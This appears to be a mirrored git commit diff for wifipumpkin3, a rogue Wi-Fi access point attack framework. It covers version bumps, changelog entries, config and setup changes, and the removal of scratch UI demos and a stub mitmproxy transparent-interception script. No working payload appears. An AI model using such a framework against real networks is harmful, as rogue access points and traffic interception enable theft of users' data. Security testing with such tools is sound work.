mirror of
https://github.com/Cronocide/wifipumpkin3.git
synced 2025-01-22 11:18:55 +00:00
bump version to dev
bump version to dev
This commit is contained in:
commit
320c27055c
2
.gitattributes
vendored
Normal file
2
.gitattributes
vendored
Normal file
@ -0,0 +1,2 @@
|
||||
config/** linguist-vendored=false
|
||||
config/* linguist-documentation
|
1
.gitignore
vendored
1
.gitignore
vendored
@ -67,4 +67,3 @@ deb_tmp/
|
||||
# IDE
|
||||
# PyCharm
|
||||
.idea/
|
||||
tests/
|
||||
|
27
CHANGELOG.md
27
CHANGELOG.md
@ -7,6 +7,18 @@ All notable changes to this project will be documented in this file.
|
||||
## [1.0.0] - 2020-04-02
|
||||
|
||||
### Added
|
||||
- added exceptions implementation error [mh4x0f]
|
||||
- added license header __init__ file [mh4x0f]
|
||||
- added license header all files in plugins [mh4x0f]
|
||||
- added license header all files in modules [mh4x0f]
|
||||
- added license header all files in core/wirelessmode [mh4x0f]
|
||||
- added license header all files in core/widgets [mh4x0f]
|
||||
- added license header all files in core/utility [mh4x0f]
|
||||
- added license header all files in core/ui [mh4x0f]
|
||||
- added partial codereview on servers plugins and proxys [mh4x0f]
|
||||
- added license header all files in core/packets and controls [mh4x0f]
|
||||
- added license header all files in core/common [mh4x0f]
|
||||
- added start tool with finish install on docker [mh4x0f]
|
||||
- added enable security WPA,WEP, WPA2 mode wireless [mh4x0f]
|
||||
- added parser wireless mode options [mh4x0f]
|
||||
- Added changelog 1.0.0 version. [mh4x0f]
|
||||
@ -54,6 +66,10 @@ All notable changes to this project will be documented in this file.
|
||||
- Initial commit. [mh4x0f]
|
||||
|
||||
### Changed
|
||||
- refactored all controllers implementation codestyle [mh4x0f]
|
||||
- improved folder copy code on setup.py [mh4x0f]
|
||||
- exclude config folder from language statistics [mh4x0f]
|
||||
- changed codename to nidavellir [mh4x0f]
|
||||
- moved /scripts to user dir config [mh4x0f]
|
||||
- changed logs folder model [mh4x0f]
|
||||
- Moved __main__ code to __init__ [mh4x0f]
|
||||
@ -65,6 +81,9 @@ All notable changes to this project will be documented in this file.
|
||||
### Deprecated
|
||||
|
||||
### Removed
|
||||
- removed function old setup_logger wp2 [mh4x0f]
|
||||
- removed all python modules on test folder [mh4x0f]
|
||||
- removed old implementation loader accesspoint [mh4x0f]
|
||||
- Removed history.md file [mh4x0f]
|
||||
- Removed keys not using in project. [mh4x0f]
|
||||
- Remove lib not using in the project. [mh4x0f]
|
||||
@ -77,6 +96,14 @@ All notable changes to this project will be documented in this file.
|
||||
- Removed all files *.py compiler. [mh4x0f]
|
||||
|
||||
### Fixed
|
||||
- fixed set linguist-vendored=false to exclude language statistics [mh4x0f]
|
||||
- fixed try to exclude files from git language statistics [mh4x0f]
|
||||
- fixed bug when try restart AP with modification in interface name [mh4x0f]
|
||||
- fixed bug when try mout AP on wirelesscontroller [mh4x0f]
|
||||
- fixed set as default require python version 3.7 [mh4x0f]
|
||||
- fixed set linguist-documentation to false [mh4x0f]
|
||||
- fixed exclude all files from config the language statistics [mh4x0f]
|
||||
- fixed module print infor data [mh4x0f]
|
||||
- fixed bug file descriptor bad dhcpserver [mh4x0f]
|
||||
- fixed bug when try to load all plugins on sniffkin3 [mh4x0f]
|
||||
- fixed mascared bug file descriptor bad partial solution [mh4x0f]
|
||||
|
@ -24,5 +24,5 @@ RUN update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 1
|
||||
RUN python3.7 -m pip install pip
|
||||
RUN python3.7 -m pip install -r requirements.txt
|
||||
RUN python3.7 setup.py install
|
||||
CMD /bin/bash
|
||||
CMD /usr/local/bin/wifipumpkin3 -m docker
|
||||
|
||||
|
@ -8,12 +8,12 @@ from PyQt5 import QtCore
|
||||
from wifipumpkin3 import PumpkinShell
|
||||
from wifipumpkin3.core.utility.printer import banner, setcolor,display_messages
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3._version import __version__
|
||||
from wifipumpkin3._version import __version__, __codename__
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
|
||||
_author = ('{}'.format(setcolor('@mh4x0f',color='yellow')))
|
||||
_version = setcolor(__version__,color='yellow')
|
||||
__codename__ = setcolor('sab1no',color='red')
|
||||
__codename__ = setcolor(__codename__,color='ciano')
|
||||
banner(__codename__)
|
||||
|
||||
def parser_args_func(parse_args):
|
||||
@ -25,10 +25,9 @@ def parser_args_func(parse_args):
|
||||
|
||||
if __name__ == '__main__':
|
||||
app = QtCore.QCoreApplication(sys.argv)
|
||||
conf = SettingsINI(C.CONFIG_INI)
|
||||
ifacedefault = conf.get('accesspoint','interfaceAP')
|
||||
conf = SettingsINI.getInstance()
|
||||
parser = argparse.ArgumentParser(description="WiFi-Pumpkin - pure line-oriented command")
|
||||
parser.add_argument('-i', dest='interface',help='set interface for create AP',default=ifacedefault)
|
||||
parser.add_argument('-i', dest='interface',help='set interface for create AP',default='')
|
||||
parser.add_argument('-s', dest='session',help='set session for continue attack',default=None)
|
||||
parser.add_argument('-p', '--pulp', dest='pulp',help='interactive sessions can be scripted with .pulp file',default='')
|
||||
parser.add_argument('-x', '--xpulp', dest='xpulp',help='interactive sessions can be string with ";" as the separator',default='')
|
||||
|
@ -56,15 +56,15 @@ wpa_type=2
|
||||
bssid=BC:F6:85:03:36:5B
|
||||
channel=11
|
||||
ssid=WiFi Pumpkin 3
|
||||
interface=wlxc83a35cef744
|
||||
checkConnectionWifi=true
|
||||
check_support_ap_mode=true
|
||||
current_session=None
|
||||
interfaceAP=wlxc83a35cef744
|
||||
path_pydns_server_zones=core/config/app/dns_hosts.ini
|
||||
persistNetwokManager=true
|
||||
pydhcp_server=true
|
||||
pydns_server=true
|
||||
statusAP=false
|
||||
status_ap=false
|
||||
timer_update_info=2000
|
||||
|
||||
[colors_log]
|
||||
|
3
exceptions/ap_mode_support_error.txt
Normal file
3
exceptions/ap_mode_support_error.txt
Normal file
@ -0,0 +1,3 @@
|
||||
failed AP mode: warning interface, the feature
|
||||
Access point mode is not supported by this device above.
|
||||
Your adapter does not support for create Access Point Network.
|
2
exceptions/dhcp_server_settings_error.txt
Normal file
2
exceptions/dhcp_server_settings_error.txt
Normal file
@ -0,0 +1,2 @@
|
||||
The DHCPServer is configured with same range ip class,
|
||||
it works, but not share internet connection in some case.
|
1
exceptions/dhcp_test_message.txt
Normal file
1
exceptions/dhcp_test_message.txt
Normal file
@ -0,0 +1 @@
|
||||
dhcp test massage
|
4
exceptions/interface_buzy_error.txt
Normal file
4
exceptions/interface_buzy_error.txt
Normal file
@ -0,0 +1,4 @@
|
||||
Connection has been detected, joined the correct Wi-Fi network
|
||||
Device or resource busy
|
||||
You may need to another Wi-Fi USB adapter
|
||||
for create AP or try use with local connetion(Ethernet).
|
16
setup.py
16
setup.py
@ -21,14 +21,14 @@ def version(version_file):
|
||||
with open('requirements.txt') as fp:
|
||||
required = [line.strip() for line in fp if line.strip() != ""]
|
||||
|
||||
|
||||
folders = ['config', 'logs', 'helps', 'scripts', 'exceptions']
|
||||
def create_user_dir_config():
|
||||
user_config_dir = os.path.expanduser("~") + "/.config/wifipumpkin3"
|
||||
if not os.path.isdir(user_config_dir):
|
||||
os.makedirs(user_config_dir, exist_ok=True)
|
||||
copy_tree("config", user_config_dir +'/config')
|
||||
copy_tree("logs", user_config_dir + "/logs")
|
||||
copy_tree("helps", user_config_dir + "/helps")
|
||||
copy_tree("scripts", user_config_dir + "/scripts")
|
||||
for folder in folders:
|
||||
copy_tree(folder, user_config_dir +'/{}'.format(folder))
|
||||
|
||||
|
||||
# create dir config
|
||||
@ -42,18 +42,18 @@ setup(name='wifipumpkin3',
|
||||
description='Framework for Rogue Wi-Fi Access Point Attack',
|
||||
author='Marcos Bomfim (mh4x0f) - P0cL4bs Team',
|
||||
author_email='mh4root@gmail.com',
|
||||
url='https://github.com/P0cL4bs/WiFi-Pumpkin3',
|
||||
url='https://github.com/P0cL4bs/wifipumpkin3',
|
||||
license='apache 2.0',
|
||||
long_description=open('README.md').read(),
|
||||
install_requires=required,
|
||||
scripts=['bin/wifipumpkin3', 'bin/sslstrip3','bin/captiveflask'],
|
||||
include_package_data=True,
|
||||
packages=find_packages(exclude=["*.tests", "*.tests.*", "tests.*", "tests"]),
|
||||
python_requires='>=3',
|
||||
python_requires='>=3.7',
|
||||
classifiers=[
|
||||
'Programming Language :: Python :: 3',
|
||||
'Programming Language :: Python :: 3.7',
|
||||
'Development Status :: 5 - Production/Stable',
|
||||
'License :: OSI Approved :: BSD License',
|
||||
'License :: OSI Approved :: Apache 2.0 License',
|
||||
'Natural Language :: English',
|
||||
'Operating System :: POSIX :: Linux',
|
||||
'Topic :: Scientific/Engineering :: Information Analysis',
|
||||
|
@ -1,24 +0,0 @@
|
||||
def _getTerminalSize_linux():
|
||||
def ioctl_GWINSZ(fd):
|
||||
try:
|
||||
import fcntl, termios, struct, os
|
||||
cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234'))
|
||||
except:
|
||||
return None
|
||||
return cr
|
||||
cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
|
||||
if not cr:
|
||||
try:
|
||||
fd = os.open(os.ctermid(), os.O_RDONLY)
|
||||
cr = ioctl_GWINSZ(fd)
|
||||
os.close(fd)
|
||||
except:
|
||||
pass
|
||||
if not cr:
|
||||
try:
|
||||
cr = (env['LINES'], env['COLUMNS'])
|
||||
except:
|
||||
return None
|
||||
return int(cr[1]), int(cr[0])
|
||||
|
||||
print(_getTerminalSize_linux())
|
@ -1 +0,0 @@
|
||||
Subproject commit eb6c2b9ab3d4354257a9422280e7c2651c05376e
|
@ -1 +0,0 @@
|
||||
Subproject commit 3ef0739a0185f4610cc13103101429166814596d
|
@ -1,42 +0,0 @@
|
||||
from mitmproxy import master, controller, options
|
||||
from mitmproxy.proxy import ProxyServer, ProxyConfig
|
||||
import time
|
||||
import threading
|
||||
|
||||
def background(f):
|
||||
'''
|
||||
a threading decorator
|
||||
use @background above the function you want to run in the background
|
||||
'''
|
||||
def bg_f(*a, **kw):
|
||||
threading.Thread(target=f, args=a, kwargs=kw).start()
|
||||
return bg_f
|
||||
|
||||
class MProxy(master.Master):
|
||||
|
||||
@background
|
||||
def run(self):
|
||||
try:
|
||||
master.Master.run(self)
|
||||
except KeyboardInterrupt:
|
||||
self.shutdown()
|
||||
|
||||
def shutdown(self):
|
||||
self.shutdown()
|
||||
|
||||
@controller.handler
|
||||
def request(self, f):
|
||||
print("request", f)
|
||||
|
||||
@controller.handler
|
||||
def response(self, f):
|
||||
print("response", f)
|
||||
|
||||
opts = options.Options(listen_port=8080,mode="transparent",cadir="~/.mitmproxy/")
|
||||
config = ProxyConfig(opts)
|
||||
server = ProxyServer(config)
|
||||
m = MProxy(opts, server)
|
||||
m.run()
|
||||
|
||||
time.sleep(60) # there is should be another code
|
||||
m.shutdown()
|
@ -1,59 +0,0 @@
|
||||
import npyscreen, curses
|
||||
|
||||
|
||||
class MyTestApp(npyscreen.NPSAppManaged):
|
||||
def onStart(self):
|
||||
# When Application starts, set up the Forms that will be used.
|
||||
# These two forms are persistent between each edit.
|
||||
self.addForm("MAIN", MainForm, name="Screen 1", color="IMPORTANT", )
|
||||
self.addForm("SECOND", MainForm, name="Screen 2", color="WARNING", )
|
||||
# This one will be re-created each time it is edited.
|
||||
self.addFormClass("THIRD", MainForm, name="Screen 3", color="CRITICAL", )
|
||||
|
||||
def onCleanExit(self):
|
||||
npyscreen.notify_wait("Goodbye!")
|
||||
|
||||
def change_form(self, name):
|
||||
# Switch forms. NB. Do *not* call the .edit() method directly (which
|
||||
# would lead to a memory leak and ultimately a recursion error).
|
||||
# Instead, use the method .switchForm to change forms.
|
||||
self.switchForm(name)
|
||||
|
||||
# By default the application keeps track of every form visited.
|
||||
# There's no harm in this, but we don't need it so:
|
||||
self.resetHistory()
|
||||
|
||||
|
||||
class MainForm(npyscreen.ActionForm):
|
||||
def create(self):
|
||||
self.add(npyscreen.TitleText, name="Text:", value="Press ^T to change screens")
|
||||
self.title = self.add(npyscreen.FixedText, value="Press ^T to change screens")
|
||||
|
||||
self.add_handlers({"^T": self.change_forms})
|
||||
|
||||
def on_ok(self):
|
||||
# Exit the application if the OK button is pressed.
|
||||
self.parentApp.switchForm(None)
|
||||
|
||||
def on_cancel(self):
|
||||
self.title.value = "Hello 4!"
|
||||
|
||||
def change_forms(self, *args, **keywords):
|
||||
if self.name == "Screen 1":
|
||||
change_to = "SECOND"
|
||||
elif self.name == "Screen 2":
|
||||
change_to = "THIRD"
|
||||
else:
|
||||
change_to = "MAIN"
|
||||
|
||||
# Tell the MyTestApp object to change forms.
|
||||
self.parentApp.change_form(change_to)
|
||||
|
||||
|
||||
def main():
|
||||
TA = MyTestApp()
|
||||
TA.run()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
@ -1,137 +0,0 @@
|
||||
|
||||
import npyscreen
|
||||
import threading
|
||||
|
||||
# npyscreen.disableColor()
|
||||
class TestApp(npyscreen.NPSApp):
|
||||
def main(self):
|
||||
F = npyscreen.Form(name="Welcome to Npyscreen", )
|
||||
t = F.add(npyscreen.BoxBasic, name="Basic Box:", max_width=30, relx=2, max_height=3)
|
||||
t.footer = "This is a footer"
|
||||
|
||||
t1 = F.add(npyscreen.BoxBasic, name="Basic Box:", rely=2, relx=32,
|
||||
max_width=30, max_height=3)
|
||||
t1.values = ["dsamdsoa"]
|
||||
t2 = F.add(npyscreen.BoxTitle, name="Box Title:", max_height=6)
|
||||
t3 = F.add(npyscreen.BoxTitle, name="Box Title2:", max_height=6,
|
||||
scroll_exit=True,
|
||||
contained_widget_arguments={
|
||||
'color': "WARNING",
|
||||
'widgets_inherit_color': True, }
|
||||
)
|
||||
t4 = F.add(npyscreen.BoxTitle, name="Box Title2:", max_height=6,
|
||||
scroll_exit=True,
|
||||
contained_widget_arguments={
|
||||
'color': "WARNING",
|
||||
'widgets_inherit_color': True, }
|
||||
)
|
||||
t2.entry_widget.scroll_exit = True
|
||||
t2.values = ["Hello",
|
||||
"This is a Test",
|
||||
"This is another test",
|
||||
"And here is another line",
|
||||
"And here is another line, which is really very long. abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz",
|
||||
"And one more."]
|
||||
t3.values = t2.values
|
||||
t2.values.append("testa")
|
||||
|
||||
F.edit()
|
||||
|
||||
|
||||
class MyTestApp(npyscreen.NPSAppManaged):
|
||||
def onStart(self):
|
||||
self.registerForm("MAIN", MainForm())
|
||||
|
||||
# This form class defines the display that will be presented to the user.
|
||||
|
||||
class MainForm(npyscreen.Form):
|
||||
def create(self):
|
||||
self.add(npyscreen.TitleText, name = "Text:", value= "Hellow World!" )
|
||||
|
||||
def afterEditing(self):
|
||||
self.parentApp.setNextForm(None)
|
||||
|
||||
class TestApp3(npyscreen.NPSApp):
|
||||
def main(self):
|
||||
# These lines create the form and populate it with widgets.
|
||||
# A fairly complex screen in only 8 or so lines of code - a line for each control.
|
||||
npyscreen.setTheme(npyscreen.Themes.ColorfulTheme)
|
||||
F = npyscreen.ActionFormWithMenus(name="Welcome to Npyscreen", )
|
||||
t = F.add(npyscreen.TitleText, name="Text:", )
|
||||
fn = F.add(npyscreen.TitleFilename, name="Filename:")
|
||||
dt = F.add(npyscreen.TitleDateCombo, name="Date:")
|
||||
s = F.add(npyscreen.TitleSlider, out_of=12, name="Slider")
|
||||
ml = F.add(npyscreen.MultiLineEdit,
|
||||
value="""try typing here! Mutiline text, press ^R to reformat.\n""",
|
||||
max_height=5, rely=9)
|
||||
ms = F.add(npyscreen.TitleSelectOne, max_height=4, value=[1, ], name="Pick One",
|
||||
values=["Option1", "Option2", "Option3"], scroll_exit=True)
|
||||
self.ms2 = F.add(npyscreen.TitleMultiSelect, max_height=4, value=[1, ], name="Pick Several",
|
||||
values=["Option1", "Option2", "Option3"], scroll_exit=True)
|
||||
# This lets the user play with the Form.
|
||||
F.edit()
|
||||
|
||||
|
||||
def get(self):
|
||||
print([self.ms2.values[idx] for idx in self.ms2.value])
|
||||
|
||||
|
||||
class TestApp4(npyscreen.NPSApp):
|
||||
def main(self):
|
||||
# These lines create the form and populate it with widgets.
|
||||
# A fairly complex screen in only 8 or so lines of code - a line for each control.
|
||||
F = npyscreen.ActionFormWithMenus(name="Welcome to Npyscreen", )
|
||||
f = F.add(npyscreen.TitleFixedText, name="Fixed Text:", value="This is fixed text")
|
||||
t = F.add(npyscreen.TitleText, name="Text:", )
|
||||
p = F.add(npyscreen.TitlePassword, name="Password:")
|
||||
fn = F.add(npyscreen.TitleFilename, name="Filename:")
|
||||
dt = F.add(npyscreen.TitleDateCombo, name="Date:")
|
||||
cb = F.add(npyscreen.Checkbox, name="A Checkbox")
|
||||
s = F.add(npyscreen.TitleSlider, out_of=12, name="Slider")
|
||||
ml = F.add(npyscreen.MultiLineEdit,
|
||||
value="""try typing here! Mutiline text, press ^R to reformat.\nPress ^X for automatically created list of menus""",
|
||||
max_height=5, rely=9)
|
||||
ms = F.add(npyscreen.TitleSelectOne, max_height=4, value=[1, ], name="Pick One",
|
||||
values=["Option1", "Option2", "Option3"], scroll_exit=True, width=30)
|
||||
ms2 = F.add(npyscreen.MultiSelect, max_height=4, value=[1, ],
|
||||
values=["Option1", "Option2", "Option3"], scroll_exit=True, width=20)
|
||||
|
||||
bn = F.add(npyscreen.MiniButton, name="Button", )
|
||||
|
||||
# gd = F.add(npyscreen.SimpleGrid, relx = 42, rely=15, width=20)
|
||||
gd = F.add(npyscreen.GridColTitles, relx=42, rely=15, width=40, col_titles=['1', '2', '3', '4'])
|
||||
gd.values = []
|
||||
for x in range(36):
|
||||
row = []
|
||||
for y in range(x, x + 36):
|
||||
row.append(y)
|
||||
gd.values.append(row)
|
||||
|
||||
# This lets the user play with the Form.
|
||||
F.edit()
|
||||
|
||||
class TestApp2(npyscreen.NPSApp):
|
||||
def main(self):
|
||||
value_list = [
|
||||
"This is the first",
|
||||
"This is the second",
|
||||
"This is the third",
|
||||
"This is the fourth",
|
||||
]
|
||||
F = npyscreen.Form(name="Welcome to Npyscreen", )
|
||||
t = F.add(npyscreen.MultiLineEditableBoxed,
|
||||
max_height=20,
|
||||
name='List of Values',
|
||||
footer="Press i or o to insert values",
|
||||
values=value_list,
|
||||
slow_scroll=False)
|
||||
|
||||
# This lets the user play with the Form.
|
||||
F.edit()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
App = TestApp4()
|
||||
App.run()
|
||||
print("dfsaoadsmd")
|
||||
#App.run()
|
@ -1 +0,0 @@
|
||||
Subproject commit df0caa6f38a88e45f64dff0bb3cdfaceee270ae2
|
@ -1 +0,0 @@
|
||||
Subproject commit 12446b4f014036471fef6cef0777a19f88278494
|
20
tests/test_exceptions.py
Normal file
20
tests/test_exceptions.py
Normal file
@ -0,0 +1,20 @@
|
||||
import unittest
|
||||
from wifipumpkin3.exceptions.errors.dhcpException import DHCPServerSettingsError
|
||||
from wifipumpkin3.core.common.platforms import Linux
|
||||
|
||||
class TestException(unittest.TestCase):
|
||||
|
||||
def test_dhcp_error_message(self):
|
||||
with self.assertRaises(DHCPServerSettingsError):
|
||||
raise DHCPServerSettingsError('', '')
|
||||
|
||||
def test_read_file_exception(self):
|
||||
self.result_content = 'dhcp test massage'
|
||||
self.get_file_content = Linux.readFileExceptions('dhcp_test_message')
|
||||
self.assertEqual(self.result_content, self.get_file_content)
|
||||
|
||||
# def test_raise(self):
|
||||
# raise DHCPServerSettingsError('DHCP Server', 'range ip error')
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
0
tests/test_modules.py
Normal file
0
tests/test_modules.py
Normal file
@ -1 +0,0 @@
|
||||
Subproject commit 461c42854b3b7ef29182abc91fea01f6ee71a181
|
@ -1,28 +0,0 @@
|
||||
import urwid
|
||||
|
||||
choices = u'Chapman Cleese Gilliam Idle Jones Palin'.split()
|
||||
|
||||
def menu(title, choices):
|
||||
body = [urwid.Text(title), urwid.Divider()]
|
||||
for c in choices:
|
||||
button = urwid.Button(c)
|
||||
urwid.connect_signal(button, 'click', item_chosen, c)
|
||||
body.append(urwid.AttrMap(button, None, focus_map='reversed'))
|
||||
return urwid.ListBox(urwid.SimpleFocusListWalker(body))
|
||||
|
||||
def item_chosen(button, choice):
|
||||
response = urwid.Text([u'You chose ', choice, u'\n'])
|
||||
done = urwid.Button(u'Ok')
|
||||
urwid.connect_signal(done, 'click', exit_program, choice)
|
||||
main.original_widget = urwid.Filler(urwid.Pile([response,
|
||||
urwid.AttrMap(done, None, focus_map='reversed')]))
|
||||
|
||||
def exit_program(button, choice):
|
||||
raise urwid.ExitMainLoop()
|
||||
|
||||
main = urwid.Padding(menu(u'Pythons', choices), left=2, right=2)
|
||||
top = urwid.Overlay(main, urwid.SolidFill(u'\N{MEDIUM SHADE}'),
|
||||
align='center', width=('relative', 60),
|
||||
valign='middle', height=('relative', 60),
|
||||
min_width=20, min_height=9)
|
||||
urwid.MainLoop(top, palette=[('reversed', 'standout', '')]).run()
|
@ -1,140 +0,0 @@
|
||||
import urwid
|
||||
import threading
|
||||
import time
|
||||
import logging
|
||||
import socket
|
||||
from multiprocessing import Process, Queue
|
||||
from subprocess import (Popen, STDOUT, PIPE)
|
||||
|
||||
class Interface:
|
||||
palette = [
|
||||
('body', 'white', 'black'),
|
||||
('ext', 'white', 'dark blue'),
|
||||
('ext_hi', 'light cyan', 'dark blue', 'bold'),
|
||||
]
|
||||
|
||||
header_text = [
|
||||
('ext_hi', 'ESC'), ':quit ',
|
||||
('ext_hi', 'UP'), ',', ('ext_hi', 'DOWN'), ':scroll',
|
||||
]
|
||||
|
||||
def __init__(self):
|
||||
self.header = urwid.AttrWrap(urwid.Text(self.header_text), 'ext')
|
||||
self.flowWalker = urwid.SimpleListWalker([])
|
||||
self.body = urwid.ListBox(self.flowWalker)
|
||||
self.footer = urwid.AttrWrap(urwid.Edit("Edit: "), 'ext')
|
||||
self.view = urwid.Frame(
|
||||
urwid.AttrWrap(self.body, 'body'),
|
||||
header = self.header,
|
||||
footer = self.footer)
|
||||
self.loop = urwid.MainLoop(self.view, self.palette,
|
||||
unhandled_input = self.unhandled_input)
|
||||
self.printer = Printer()
|
||||
|
||||
def start(self):
|
||||
t1 = threading.Thread(target = self.fill_screen)
|
||||
t1.daemon = True
|
||||
t2 = threading.Thread(target = self.printer.fill_queue)
|
||||
t2.daemon = True
|
||||
t1.start()
|
||||
t2.start()
|
||||
self.loop.run()
|
||||
|
||||
def unhandled_input(self, k):
|
||||
if k == 'esc':
|
||||
raise urwid.ExitMainLoop()
|
||||
if k == 'k':
|
||||
self.flowWalker.append(urwid.Text(('body', 'teste fim')))
|
||||
self.printer.started = False
|
||||
self.printer.procDHCP.terminate()
|
||||
self.printer.queue2.close()
|
||||
#self.loop.draw_screen()
|
||||
|
||||
def fill_screen(self):
|
||||
while True:
|
||||
if self.printer.queue:
|
||||
self.flowWalker.append(urwid.Text(('body', self.printer.queue.pop(0))))
|
||||
try:
|
||||
self.loop.draw_screen()
|
||||
self.body.set_focus(len(self.flowWalker)-1, 'above')
|
||||
except AssertionError: pass
|
||||
|
||||
def to_screen(self, text):
|
||||
self.queue.append(text)
|
||||
|
||||
|
||||
class Printer:
|
||||
def __init__(self):
|
||||
self.message = 'Hello'
|
||||
self.queue = []
|
||||
self.cmd = ['ping','google.com']
|
||||
|
||||
def standardProcOutput(self,q):
|
||||
with Popen(self.cmd, bufsize=1, stdout=PIPE,stderr=STDOUT, universal_newlines=True) as p:
|
||||
for line in p.stdout:
|
||||
q.put(line.encode())
|
||||
|
||||
|
||||
def fill_queue(self):
|
||||
# while 1:
|
||||
# self.queue.append(self.message)
|
||||
# time.sleep(2)
|
||||
self.queue2 = Queue()
|
||||
self.started = True
|
||||
self.procDHCP = Process(target=self.standardProcOutput, args=(self.queue2,))
|
||||
self.procDHCP.start()
|
||||
print('[New Thread {}]'.format(self.procDHCP.pid))
|
||||
while self.started:
|
||||
self.queue.append(self.queue2.get())
|
||||
|
||||
|
||||
import cmd
|
||||
|
||||
class test_cli(cmd.Cmd):
|
||||
def __init__(self, intro="Demo of pyton cli",
|
||||
prompt="(tc)"):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.intro=intro
|
||||
self.prompt=prompt
|
||||
self.doc_header="Test Cli (type help <topic>):"
|
||||
self.interface = Interface()
|
||||
|
||||
def do_start(self, args):
|
||||
self.interface.start()
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
def do_end(self, args):
|
||||
return True
|
||||
def help_end(self, args):
|
||||
print("End session")
|
||||
do_EOF = do_end
|
||||
help_EOF = help_end
|
||||
def do_quit(self, args):
|
||||
return True
|
||||
def help_quit(self, args):
|
||||
print("Quit session")
|
||||
def precmd(self, line):
|
||||
newline=line.strip()
|
||||
is_cmt=newline.startswith('#')
|
||||
if is_cmt:
|
||||
return ('')
|
||||
return (line)
|
||||
def do_nested(self, args):
|
||||
n_cli=test_level2_cli()
|
||||
n_cli.cmdloop()
|
||||
def help_nested(self, args):
|
||||
print("Start nested cli session")
|
||||
|
||||
class test_level2_cli(test_cli):
|
||||
def __init__(self):
|
||||
test_cli.__init__(self,
|
||||
intro="level 2 cli", prompt="(l2)")
|
||||
def do_print(self, args):
|
||||
print (args)
|
||||
def help_print(self):
|
||||
print (" Print the passed arguments ")
|
||||
|
||||
if __name__=='__main__':
|
||||
t_cli=test_cli()
|
||||
t_cli.cmdloop()
|
@ -1,101 +0,0 @@
|
||||
import logging, queue, sys, threading, time
|
||||
|
||||
import urwid
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.DEBUG,
|
||||
format="%(asctime)-4s %(threadName)s %(message)s",
|
||||
datefmt="%H:%M:%S",
|
||||
filename='trace.log',
|
||||
)
|
||||
|
||||
class Interface:
|
||||
palette = [
|
||||
('body', 'white', ''),
|
||||
('ext', 'white', 'dark blue'),
|
||||
('ext_hi', 'light cyan', 'dark blue', 'bold'),
|
||||
]
|
||||
|
||||
header_text = [
|
||||
('ext_hi', 'ESC'), ':quit ',
|
||||
('ext_hi', 'UP'), ',', ('ext_hi', 'DOWN'), ':scroll',
|
||||
]
|
||||
|
||||
def __init__(self, msg_queue):
|
||||
self.header = urwid.AttrWrap(urwid.Text(self.header_text), 'ext')
|
||||
self.flowWalker = urwid.SimpleListWalker([])
|
||||
self.body = urwid.ListBox(self.flowWalker)
|
||||
self.flowWalker2 = urwid.SimpleListWalker([])
|
||||
self.body2 = urwid.ListBox(self.flowWalker2)
|
||||
self.footer = urwid.AttrWrap(urwid.Edit("Edit: "), 'ext')
|
||||
self.view = urwid.Frame(
|
||||
urwid.AttrWrap(self.body, 'body'),
|
||||
header = self.header,
|
||||
footer = self.footer)
|
||||
blank = urwid.Divider()
|
||||
self.main_box = urwid.LineBox(self.body)
|
||||
self.main_box2 = urwid.LineBox(self.body2)
|
||||
self.columns = urwid.Columns([self.main_box], dividechars=1)
|
||||
self.columns2 = urwid.Columns([self.main_box2], dividechars=1)
|
||||
self.main_layout = urwid.Pile([
|
||||
self.columns,
|
||||
self.columns2,
|
||||
])
|
||||
self.view = urwid.Frame(
|
||||
urwid.AttrWrap(self.main_layout, 'body'),
|
||||
header = self.header,
|
||||
footer = self.footer)
|
||||
self.loop = urwid.MainLoop(self.view, self.palette,
|
||||
unhandled_input = self.unhandled_input)
|
||||
self.msg_queue = msg_queue
|
||||
self.check_messages(self.loop, None)
|
||||
|
||||
def unhandled_input(self, k):
|
||||
if k == 'esc':
|
||||
raise urwid.ExitMainLoop()
|
||||
|
||||
def check_messages(self, loop, *_args):
|
||||
"""add message to bottom of screen"""
|
||||
loop.set_alarm_in(
|
||||
sec=0.5,
|
||||
callback=self.check_messages,
|
||||
)
|
||||
try:
|
||||
msg = self.msg_queue.get_nowait()
|
||||
except :
|
||||
return
|
||||
self.flowWalker.append(
|
||||
urwid.Text(('body', msg))
|
||||
)
|
||||
self.body.set_focus(
|
||||
len(self.flowWalker)-1, 'above'
|
||||
)
|
||||
|
||||
def update_time(stop_event, msg_queue):
|
||||
"""send timestamp to queue every second"""
|
||||
logging.info('start')
|
||||
while not stop_event.wait(timeout=1.0):
|
||||
msg_queue.put( time.strftime('time %X') )
|
||||
logging.info('stop')
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
stop_ev = threading.Event()
|
||||
message_q = queue.Queue()
|
||||
|
||||
threading.Thread(
|
||||
target=update_time, args=[stop_ev, message_q],
|
||||
name='update_time',
|
||||
).start()
|
||||
|
||||
logging.info('start')
|
||||
Interface(message_q).loop.run()
|
||||
logging.info('stop')
|
||||
|
||||
# after interface exits, signal threads to exit, wait for them
|
||||
logging.info('stopping threads')
|
||||
|
||||
stop_ev.set()
|
||||
for th in threading.enumerate():
|
||||
if th != threading.current_thread():
|
||||
th.join()
|
@ -1,57 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Urwid terminal emulation widget example app
|
||||
# Copyright (C) 2010 aszlig
|
||||
#
|
||||
# This library is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU Lesser General Public
|
||||
# License as published by the Free Software Foundation; either
|
||||
# version 2.1 of the License, or (at your option) any later version.
|
||||
#
|
||||
# This library is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public
|
||||
# License along with this library; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
#
|
||||
